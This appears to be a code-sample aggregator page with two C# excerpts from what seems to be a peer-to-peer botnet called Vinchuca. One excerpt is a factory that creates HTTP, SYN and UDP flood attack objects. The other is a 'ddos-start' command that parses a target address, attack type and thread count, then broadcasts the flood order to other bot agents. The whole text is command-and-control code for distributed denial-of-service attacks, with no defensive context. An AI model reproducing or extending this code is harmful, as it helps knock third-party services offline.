Exemplo n.º 1
0
        public static Attack Create(DosAttackMessage msg)
        {
            switch (msg.Type)
            {
            case DosType.HttpFlood:
                return(new HttpFlood(msg.Target, msg.Buffer));

            case DosType.SynFlood:
                return(new SynFlood(msg.Target));

            case DosType.UdpFlood:
                return(new UdpFlood(msg.Target));

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
Exemplo n.º 2
0
        public override int Invoke(IEnumerable <string> args)
        {
            try
            {
                var extra = Options.Parse(args);
                if (ShowHelp)
                {
                    Options.WriteOptionDescriptions(CommandSet.Out);
                    return(0);
                }
                if (string.IsNullOrEmpty(Target))
                {
                    Console.WriteLine("commands: Missing required argument `--target=TARGET`.");
                    Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }
                if (string.IsNullOrEmpty(Type))
                {
                    Console.WriteLine("commands: Missing required argument `--typet=TYPE`.");
                    Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }

                DosType type;
                switch (Type)
                {
                case "httpflood":
                    type = DosType.HttpFlood;
                    break;

                case "synflood":
                    type = DosType.SynFlood;
                    break;

                case "udpflood":
                    type = DosType.UdpFlood;
                    break;

                default:
                    Console.WriteLine("commands: Invalid attack type.");
                    Console.WriteLine("commands: Use `help ddos-start` for details.");
                    return(1);
                }
                var endpointParts = Target.Split(':');
                var ip            = endpointParts[0];
                var port          = int.Parse(endpointParts[1]);
                var session       = (ulong)Vinchuca.Utils.RandomUtils.NextCorrelationId();
                var ddosMessage   = new DosAttackMessage()
                {
                    AttackId = session,
                    Type     = type,
                    Threads  = short.Parse(Threads),
                    Target   = new IPEndPoint(IPAddress.Parse(ip), port),
                    Buffer   = Encoding.ASCII.GetBytes(Buffer)
                };
                _agent.MessagesManager.Broadcast(ddosMessage, 6);
                Console.WriteLine($"Attack sessionID {session}");
                Console.WriteLine($"Stop it using ´ddos-stop {session}´");
                _repl.AddAutocompletionWords(session.ToString());
                return(0);
            }
            catch (Exception e)
            {
                //_repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message);
                return(1);
            }
        }